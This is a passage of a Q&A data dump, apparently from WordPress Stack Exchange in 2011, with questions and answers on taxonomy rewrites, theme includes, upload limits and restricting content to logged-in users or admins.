  <row Id="21076" PostTypeId="1" AcceptedAnswerId="21102" CreationDate="2011-06-26T05:52:17.920" Score="0" ViewCount="137" Body="&lt;p&gt;I know there are a lot of posts about this here, but NONE of them have answered my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working with a custom built theme that has a custom category type (named messagetypes). I have a category created named media. This theme is setup so that I can add a menu item that when clicked, displays all of the items labeled media, but the URL of the page is then mysite.com/messagetypes/media. I want to remove messateypes from the url and have it only mysite.com/media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest I have gotten is when I add to the custom category functions page, where&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy( 'messagetypes', ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is called with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite' =&amp;gt; array( 'slug' =&amp;gt; ''),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I do this, I get the desired result from this page, but all of my other page links break (using permalinks.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried adding to the rewrite array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'with_front' =&amp;gt; false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or insight would be great. I've wasted too many hours on this and it's driving me nuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6508" LastActivityDate="2011-06-26T16:37:32.963" Title="Remove taxonomy base or term from url" Tags="&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;&lt;slug&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21077" PostTypeId="2" ParentId="12533" CreationDate="2011-06-26T07:32:46.763" Score="0" ViewCount="" Body="&lt;p&gt;It wasn't a problem of IIS Server it was a Wordpress Bug. By upgrading Wordpress it didn't happen again.&lt;/p&gt;&#xA;" OwnerUserId="4078" LastActivityDate="2011-06-26T07:32:46.763" />
  <row Id="21078" PostTypeId="1" CreationDate="2011-06-26T08:12:13.063" Score="-1" ViewCount="33" Body="&lt;p&gt;I installed this theme&#xA;&lt;a href=&quot;http://shakenandstirredweb.com/theme/easy-docs&quot; rel=&quot;nofollow&quot;&gt;http://shakenandstirredweb.com/theme/easy-docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I don't understand how it works: after install I have only page menu, post menu has disappeared. Page only appears as menu not as content. So how does it work ?&lt;/p&gt;&#xA;" OwnerUserId="4078" LastActivityDate="2011-06-26T09:45:40.717" Title="how to use Easy Docs theme to write a book?" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="21079" PostTypeId="1" CreationDate="2011-06-26T08:51:21.360" Score="1" ViewCount="58" Body="&lt;p&gt;I'm concidering Wordpress as a platform for a proposed project, specifically on document management for admin and client.&#xA;I'd love to hear some expert opinions on the following that i'm researching for a project.&#xA;Below is a high-level overview of the project. I'm wondering if you could recommend any CMS, or know if a few combinations of WP plugins specifically would suit my needs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Darren.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Overview:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Key:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;· User – someone who visits the website and makes a purchase of one or more services&lt;/p&gt;&#xA;&#xA;&lt;p&gt;· Administrator – the website owner who is able to manage the system&lt;/p&gt;&#xA;&#xA;&lt;p&gt;· Web_Admin – the websites admin control panel area&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For the user:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The website user will select services they require (1 or more).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The user will then create an account&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The user will upload a document(s), related to service(s) they require.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each completion of a set of service requests by a user will be bundled into a job.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A user can have multiple service requests related to that job and multiple documents related to a service request.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Example: a user requests a Bill of Quantities and A Schedule of Rates. They can then upload one or more documents related to each of these. This is then bundled into a job, and given a job number.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each user can potentially have multiple jobs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They would re-use the account they created to purchase new sets of services.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For the admin:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Upon receipt of the job request an administrator would view the documents from the backend system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They would then give the job a price, and a link would be sent back to the client to allow them to purchase the job (if they wish).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once purchased the status of the job would be updated to a paid/pending completion status.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then an administrator would complete the job and update the status of the job to complete.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The administrator uploads the related completed files for that job.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;These files would then get emailed back to the client.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Everything would need to be stored an online administration system, so that if the client came back at a later date requesting a copy of the completed job files again (if they lost them).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An administrator would have to be the ability to search for a job by status, client name, date etc. or a combination of these.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Darren.&lt;/p&gt;&#xA;" OwnerUserId="6509" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-28T01:11:56.773" LastActivityDate="2011-08-29T13:36:28.123" Title="Document management for admin/client - WP as a platform?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;pre-sale&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="21080" PostTypeId="2" ParentId="21078" CreationDate="2011-06-26T09:45:40.717" Score="2" ViewCount="" Body="&lt;p&gt;not sure if you watched the &lt;a href=&quot;http://shakenandstirredweb.com/theme/easy-docs&quot; rel=&quot;nofollow&quot;&gt;video on their site&lt;/a&gt;, because that seems pretty self-explanatory (especially from 1:18 onwards) It also says clearly on the site that it is a one page and very basic theme:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a page for documentation with a simple way to navigate between sections, and a basic page template for simple pages like a Changelog&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if you are looking for how to add Posts that are not &quot;Sections&quot;, then you have perhaps downloaded the wrong theme?&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-26T09:45:40.717" />
  <row Id="21081" PostTypeId="2" ParentId="21069" CreationDate="2011-06-26T10:44:21.243" Score="1" ViewCount="" Body="&lt;p&gt;if you are using (a child of) twenty ten, then the theme will use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/body_class&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;body_class()&lt;/code&gt;&lt;/a&gt; and have a unique css class for each page; use that to style the color of the sidebar widgets; &#xA;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.page-id-23 #primary.widget-area { color: #123edf; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-26T10:44:21.243" />
  <row Id="21082" PostTypeId="2" ParentId="21068" CreationDate="2011-06-26T11:03:25.197" Score="2" ViewCount="" Body="&lt;p&gt;Check out &lt;a href=&quot;http://wordpress.org/extend/plugins/user-access-manager/&quot; rel=&quot;nofollow&quot;&gt;User Access Manager&lt;/a&gt; for point 1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For stripping back the menus &amp;amp; controlling access, check out the &lt;a href=&quot;http://wordpress.org/extend/plugins/user-role-editor/&quot; rel=&quot;nofollow&quot;&gt;User Role Editor&lt;/a&gt;. You can strip user capabilities down to the bare essentials, and a lot of the items in the menu will disappear for them. For example, removing all &lt;code&gt;*_themes&lt;/code&gt; privileges will hide the Appearance item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find you can't quite hide all the menus you want, so you can hook into &lt;code&gt;admin_menu&lt;/code&gt; and conditionally use &lt;code&gt;remove_menu_page&lt;/code&gt; and &lt;code&gt;remove_submenu_page&lt;/code&gt; depending on &lt;code&gt;current_user_can( 'role_name_or_capability' )&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the redirect, check out &lt;code&gt;wp-login.php&lt;/code&gt; - there should be a decent hook or filter in there for you to use and change where the user gets redirected; either after logging in or registering.&lt;/p&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-06-26T11:03:25.197" CommentCount="2" />
  <row Id="21083" PostTypeId="1" AcceptedAnswerId="21095" CreationDate="2011-06-26T11:09:11.563" Score="0" ViewCount="70" Body="&lt;p&gt;In JavaScript, I'm using an Ajax call and I'm sending an array of shops.&lt;br&gt;&#xA;Except for the last element in the array all the shops already exist in the DB.&lt;br&gt;&#xA;The last element is a new shop.&lt;br&gt;&#xA;The PHP code should get the array and update all the shops that are already in the DB and insert the new one after the last row of the table.&lt;br&gt;&#xA;The PHP code uses $wpdb-&gt;insert() to insert the last shop but for some reason it doesn't always insert it after the table's last row.&lt;br&gt;&#xA;The insert parameters include values for all the fields except for the index. This field is marked as auto_increment in the DB and indeed the inserted row get the expected index number.&lt;br&gt;&#xA;But it's not inserted after the last row as expected.&lt;br&gt;&#xA;What can be the cause?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the php code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function updateshops($shopsArray){&#xA;    global $wpdb;&#xA;&#xA;    $sArray = $_POST[&quot;shopsArray&quot;];&#xA;    $aSize = sizeof($sArray);&#xA;&#xA;    for ($i=0; $i&amp;lt;$aSize; $i++)&#xA;    {&#xA;        if ($sArray[$i]['shopId']!=-1)  // update existing records&#xA;            $wpdb-&amp;gt;update( 'wp_shops', array( 'shopName'=&amp;gt;$sArray[$i]['shopName'], 'shopAddress'=&amp;gt;$sArray[$i]['shopAddress'] ), array('shopId'=&amp;gt;$sArray[$i]['shopId']));&#xA;&#xA;        else    // add new records&#xA;            $wpdb-&amp;gt;insert( 'wp_shops', array( 'userId'=&amp;gt;$sArray[0]['userId'], 'shopName'=&amp;gt;$sArray[$i]['shopName'], 'shopAddress'=&amp;gt;$sArray[$i]['shopAddress'], 'shopLat'=&amp;gt;45, 'shopLng'=&amp;gt;20 ));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5171" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-26T13:34:19.793" LastActivityDate="2011-06-26T14:18:56.743" Title="Wpdb-&gt;insert() doesn't insert new row after the last one" Tags="&lt;php&gt;&lt;wpdb&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="21084" PostTypeId="1" CreationDate="2011-06-26T11:40:19.110" Score="1" ViewCount="55" Body="&lt;p&gt;there will be lot of users on my site who will be author uploading their posts. right now, they can upload as many images / videos per post as they want. i want to restrict them to upload maximum 4 images / videos per post. can anybody help me please ?&lt;/p&gt;&#xA;" OwnerUserId="6331" LastActivityDate="2011-06-26T13:41:52.707" Title="How can you limit the number of images / videos that can be uploaded to a WordPress post" Tags="&lt;media-upload&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21085" PostTypeId="2" ParentId="21061" CreationDate="2011-06-26T12:12:41.403" Score="0" ViewCount="" Body="&lt;p&gt;A friend on AskUbuntu's chat room (Oli) gave me a tip - disable all plugins. I did that and there we are!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is back - except I now I have to reenable a lot of plugins :/...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If found the &lt;strong&gt;real&lt;/strong&gt; culprit too. The facebook like button plugin I had enabled. I deleted it now (wasn't working well anyway).&lt;/p&gt;&#xA;" OwnerUserId="1655" LastEditorUserId="1655" LastEditorDisplayName="" LastEditDate="2011-06-26T13:30:02.610" LastActivityDate="2011-06-26T13:30:02.610" />
  <row Id="21086" PostTypeId="1" AcceptedAnswerId="21096" CreationDate="2011-06-26T12:17:14.843" Score="1" ViewCount="76" Body="&lt;p&gt;I built something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Index Container Widgets Area&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I created a widget for that -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Categories Widget - Index Container .php&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;with this in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php include (TEMPLATEPATH . '/includes/containers/container-grid-categories.php'); ?&amp;gt;&#xA;&amp;lt;?php ///include (TEMPLATEPATH . '/includes/containers/container-list-categories.php'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for example in the &#xA;/includes/containers/&lt;strong&gt;container-grid-categories.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   //include (TEMPLATEPATH . '/includes/containers/container-grid-categories/grid-thumbs.php'); ?&amp;gt;&#xA;&amp;lt;?php  include (TEMPLATEPATH . '/includes/containers/container-grid-categories/grid-tumbs-details.php'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, my questions, with this everything is working fine, the question is this a good way to make what I did (include TEMPLATEPATH)? Or use another way, and if that what way?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5910" LastActivityDate="2011-06-26T14:19:01.453" Title="WordPress &quot;include TEMPLATEPATH&quot; or?" Tags="&lt;widgets&gt;&lt;include&gt;" AnswerCount="2" />
  <row Id="21087" PostTypeId="1" AcceptedAnswerId="21116" CreationDate="2011-06-26T12:33:34.157" Score="0" ViewCount="89" Body="&lt;p&gt;I need to be able to create posts in a custom post type with custom taxonomies from an XML file. It is from a job feed so when a job is added I need to be able to import it into wordpress. Do I just use wp_insert_post() ?&lt;/p&gt;&#xA;" OwnerUserId="6224" LastActivityDate="2011-07-27T02:30:33.377" Title="Importing posts from XML into custom post type" Tags="&lt;custom-post-types&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="21088" PostTypeId="1" CreationDate="2011-06-26T12:56:00.167" Score="0" ViewCount="73" Body="&lt;p&gt;I'm making use of this custom code to my loop.php file to restrict non-registered members access to posts from a certain category (cat 1)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_user_logged_in() &amp;amp;&amp;amp; $cat == '1') { ?&amp;gt; &#xA;&amp;lt;?php the_content(); ?&amp;gt; &#xA;&amp;lt;?php } else { ?&amp;gt; &#xA;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this piece of code doesn't help much as it restricts all posts from other categories as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-06-26T14:43:15.890" Title="How to restrict posts only from a certain category" Tags="&lt;wordpress.com&gt;&lt;user-access&gt;" AnswerCount="1" />
  <row Id="21089" PostTypeId="2" ParentId="21088" CreationDate="2011-06-26T13:25:38.537" Score="2" ViewCount="" Body="&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    //first check if its the category in question&#xA;    if ($cat == '1') { &#xA;        //then if the user is logged in show the content&#xA;        if (is_user_logged_in()){&#xA;            the_content();&#xA;        }else{ //if not show the excerpt&#xA;            the_excerpt();&#xA;        }&#xA;    }else{ // and if its not the category show the content&#xA;        the_content();&#xA;    }&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Judging by your comments you are some defining &lt;code&gt;$cat&lt;/code&gt; before the check so add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat = get_query_var('cat');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;before the conditional code.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-26T14:43:15.890" LastActivityDate="2011-06-26T14:43:15.890" CommentCount="8" />
  <row Id="21090" PostTypeId="2" ParentId="21065" CreationDate="2011-06-26T13:25:57.460" Score="0" ViewCount="" Body="&lt;p&gt;I've got it... for anyone else having this problem...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to where your media is kept on your WordPress.com account i.e. Media  &gt; Library&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to edit the video and make sure that 'Display share menu and allow viewers to embed or download this video' - this is so that you can click the 'share' menu on the embedded video on an actual page, grab the embed link and paste it into your html code&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go back to your media page and disable the share menu again if you want to protect your videos.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6374" LastActivityDate="2011-06-26T13:25:57.460" />
  <row Id="21091" PostTypeId="2" ParentId="721" CreationDate="2011-06-26T13:39:43.527" Score="0" ViewCount="" Body="&lt;p&gt;try this one it worked very fine with me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$lang=get_bloginfo(&quot;language&quot;);&lt;/p&gt;&#xA;" OwnerUserId="6511" LastActivityDate="2011-06-26T13:39:43.527" />
  <row Id="21092" PostTypeId="2" ParentId="21084" CreationDate="2011-06-26T13:41:52.707" Score="3" ViewCount="" Body="&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_handle_upload_prefilter', 'limit_wp_handle_upload_prefilter');&#xA;function yoursite_wp_handle_upload_prefilter($file) {&#xA;  // This bit is for the flash uploader&#xA;  if ($file['type']=='application/octet-stream' &amp;amp;&amp;amp; isset($file['tmp_name'])) {&#xA;    $file_size = getimagesize($file['tmp_name']);&#xA;    if (isset($file_size['error']) &amp;amp;&amp;amp; $file_size['error']!=0) {&#xA;      $file['error'] = &quot;Unexpected Error: {$file_size['error']}&quot;;&#xA;      return $file;&#xA;    } else {&#xA;      $file['type'] = $file_size['mime'];&#xA;    }&#xA;  }&#xA;  if ($post_id = (isset($_REQUEST['post_id']) ? $_REQUEST['post_id'] : false)) {&#xA;    if (count(get_posts(&quot;post_type=attachment&amp;amp;post_parent={$post_id}&quot;))&amp;gt;3)&#xA;      $file['error'] = &quot;Sorry, you cannot upload more than four (4) image.&quot;;&#xA;  }&#xA;  return $file;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after you paste this in your theme's functions.php the upload limit should be 4 files total per post.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-26T13:41:52.707" CommentCount="1" />
  <row Id="21093" PostTypeId="2" ParentId="21086" CreationDate="2011-06-26T13:54:29.510" Score="0" ViewCount="" Body="&lt;p&gt;There are several way to acchieve this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    TEMPLATEPATH // Path to your (parent) themes root dir&#xA;    STYLESHEETPATH // Path to your parent/child - if present - dir&#xA;    get_template_directory_uri();&#xA;    get_template_directory();&#xA;    get_stylesheet_directory();&#xA;    get_stylesheet_directory_uri();&#xA;&#xA;    // to load a file: path_and_file_name.php which searches in child dir first, then parent themes dir&#xA;    get_template_part( 'path_and_file_name' ); // appends .php automagically&#xA;    get_template_part( 'path_and_file_name', 'suffix' ); // loads: path_and_file_name-suffix.php&#xA;&#xA;/**&#xA; * Directoy structure&#xA; * @return (array) $dir_struct | directory structure&#xA; */&#xA;function wpse21093_get_dir_struct()&#xA;{&#xA;    $dir_base  = get_template_directory().'/includes/';&#xA;    $dirs[] = 'containers';&#xA;    // add more folders&#xA;    // $dirs[] = 'widgets';&#xA;    foreach ( $dirs as $dir )&#xA;    {&#xA;        $dir_struct[ $dir ] = trailingslashit( $dir_base.$dir );&#xA;    }&#xA;    return $dir_struct;&#xA;}&#xA;&#xA;/**&#xA; * Loading files for larger structures the *smart* way ...&#xA; * Searches in all folders supported by the theme, defined by the user&#xA; * Allows a {$suffix} to be appended to mimic the get_template_part(); behavior&#xA; */&#xA;function wpse21093_load_file( $file_name, $suffix = '' )&#xA;{&#xA;    $dirs = wpse21093_get_dir_struct();&#xA;    foreach ( $dirs as $supported =&amp;gt; $dir )&#xA;    {&#xA;        if ( empty ( $suffix ) )&#xA;        {&#xA;            if ( file_exists( $dir.$file_name.'.php' ) )&#xA;               require_if_theme_supports( $supported, $dir.$file_name.'.php' );&#xA;        }&#xA;        else&#xA;        {&#xA;            if ( file_exists( $dir.$file_name.'-'.$suffix.'.php' ) )&#xA;               require_if_theme_supports( $supported, $dir.$file_name.'-'.$suffix.'.php' );&#xA;        }&#xA;    }&#xA;    return;&#xA;}&#xA;&#xA;// Then call it like this:&#xA;add_theme_support( 'containers' ); // add support for folder&#xA;wpse21093_load_file( 'container-grid-categories' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-26T14:18:32.173" LastActivityDate="2011-06-26T14:18:32.173" />
  <row Id="21094" PostTypeId="1" CreationDate="2011-06-26T14:16:31.530" Score="0" ViewCount="35" Body="&lt;p&gt;Goodday, Sidebar Login plugin, that comes with full .mo and .po files, translates everything but the title (&quot;Welcome&quot;) and &quot;profile&quot;, which remain English. Does anybody have a suggestion how I could troubleshoot this or where to look for answers? THanks&lt;/p&gt;&#xA;" OwnerUserId="6436" LastActivityDate="2011-08-25T20:34:50.487" Title="Widget title doesn't internationalize with .mo files" Tags="&lt;widgets&gt;&lt;translation&gt;" AnswerCount="1" />
  <row Id="21095" PostTypeId="2" ParentId="21083" CreationDate="2011-06-26T14:18:56.743" Score="2" ViewCount="" Body="&lt;p&gt;This really has almost nothing to do with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably haven't created a primary key for your shops table, which should probably be &lt;code&gt;shopid&lt;/code&gt; (assuming you're using normal column naming conventions)&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-26T14:18:56.743" CommentCount="4" />
  <row Id="21096" PostTypeId="2" ParentId="21086" CreationDate="2011-06-26T14:19:01.453" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Long answer short: the absolute-best answer, for template-part files in a subdirectory, is to use &lt;code&gt;locate_template()&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend referencing the &lt;em&gt;stylesheet&lt;/em&gt; path for &lt;em&gt;template file&lt;/em&gt; includes, so that those template part files can be easily over-ridden by Child Themes. So, ideally, you should use &lt;code&gt;get_stylesheet_directory_uri()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some differences/explanation of all the functions listed by @kaiser:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;get_stylesheet_directory_uri()&lt;/code&gt;/&lt;code&gt;get_template_directory_uri()&lt;/code&gt; return a &lt;em&gt;URL&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;get_stylesheet_directory()&lt;/code&gt;/&lt;code&gt;get_template_directory()&lt;/code&gt; return a &lt;em&gt;file path&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;All four of the &lt;code&gt;*get_*_directory_*()&lt;/code&gt; functions perform &lt;em&gt;SSL checking&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;TEMPLATEPATH&lt;/code&gt;/&lt;code&gt;STYLESHEETHATH&lt;/code&gt; are simple constants, return a &lt;em&gt;file path&lt;/em&gt;, and do &lt;em&gt;not&lt;/em&gt; perform SSL checking&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, the four &lt;code&gt;get_*_directory_*()&lt;/code&gt; functions are preferred to using &lt;code&gt;TEMPLATEPATH&lt;/code&gt;/&lt;code&gt;STYLESHEET&lt;/code&gt;; however, they aren't really intended for locating template part files in subdirectories. In such a case, the best option is to use &lt;code&gt;locate_template()&lt;/code&gt; directly. (&lt;a href=&quot;http://justintadlock.com/archives/2010/11/17/how-to-load-files-within-wordpress-themes&quot; rel=&quot;nofollow&quot;&gt;See here for a great writeup and comparison of all of the above options.&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-26T14:19:01.453" CommentCount="1" />
  <row Id="21097" PostTypeId="1" CreationDate="2011-06-26T14:20:06.307" Score="0" ViewCount="40" Body="&lt;p&gt;I have a very basic text widget, all it does is link to a PHP script which displays a random banner image. I would like to restrict viewing access to admins whilst I'm testing the widget. How is this possible? Can I use a WP function to restrict access to this widget?&lt;/p&gt;&#xA;" OwnerUserId="3249" LastActivityDate="2011-07-26T18:30:25.583" Title="How can I restrict access to a widget to admins only?" Tags="&lt;php&gt;" AnswerCount="1" />
  <row Id="21098" PostTypeId="1" AcceptedAnswerId="21103" CreationDate="2011-06-26T14:58:00.250" Score="1" ViewCount="47" Body="&lt;p&gt;What function can I use to override the multisite maximum file size upload restriction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already maxed out the kb upload size and ensured that the max file upload size in php.ini is over 50mb, yet still I'm getting an error uploading an 11mb file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/DZNeT.png&quot; alt=&quot;WP multisite max file size&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/wAvVn.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-26T17:23:43.707" Title="What function can I use to override the multisite maximum file size upload restriction?" Tags="&lt;uploads&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="21099" PostTypeId="2" ParentId="21097" CreationDate="2011-06-26T16:05:24.013" Score="1" ViewCount="" Body="&lt;p&gt;Simply add the following on top of your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! current_user_can( 'manage_options' ) );&#xA;    return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-26T16:05:24.013" CommentCount="4" />
  <row Id="21100" PostTypeId="2" ParentId="21046" CreationDate="2011-06-26T16:07:33.900" Score="1" ViewCount="" Body="&lt;p&gt;This hooks into the update action for any post. It'll copy all terms for a given set of taxonomies from a parent to it's children.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Update all children of a post with the same terms as itself.&#xA; * &#xA; * @param int $post_ID&#xA; * @param object $post&#xA; */&#xA;function __update_children_with_terms( $post_ID, $post )&#xA;{&#xA;    global $wpdb;&#xA;&#xA;    // array of taxonomies to be copied to children, if the post type supports it&#xA;    $taxonomies = array( 'section' );&#xA;&#xA;    if ( ! is_post_type_hierarchical( $post-&amp;gt;post_type ) )&#xA;        return; // bail&#xA;&#xA;    // all child IDs for current post&#xA;    $children = $wpdb-&amp;gt;get_col( &quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_parent = &quot; . ( int ) $post_ID );&#xA;&#xA;    // loop over each taxonomy for the current post type&#xA;    foreach ( get_object_taxonomies( $post-&amp;gt;post_type ) as $taxonomy ) {&#xA;&#xA;        if ( ! in_array( $taxonomy, $taxonomies ) )&#xA;            continue; // bail, term copy not supported for this tax&#xA;&#xA;        if ( ! $terms = wp_get_object_terms( $post_ID, $taxonomy, array( 'fields' =&amp;gt; 'ids' ) ) )&#xA;            continue; // bail, no terms for this tax&#xA;&#xA;        // essential, otherwise wp_set_object_terms treats them as strings and creates new terms!&#xA;        $terms = wp_parse_id_list( $terms );&#xA;&#xA;        // loop over children and append the terms&#xA;        foreach ( $children as $child ) {&#xA;            wp_set_object_terms( $child, $terms, $taxonomy, true );&#xA;&#xA;            // this will rescursively iterate down the tree but at a cost!!&#xA;            // remove it if you only need parent =&amp;gt; 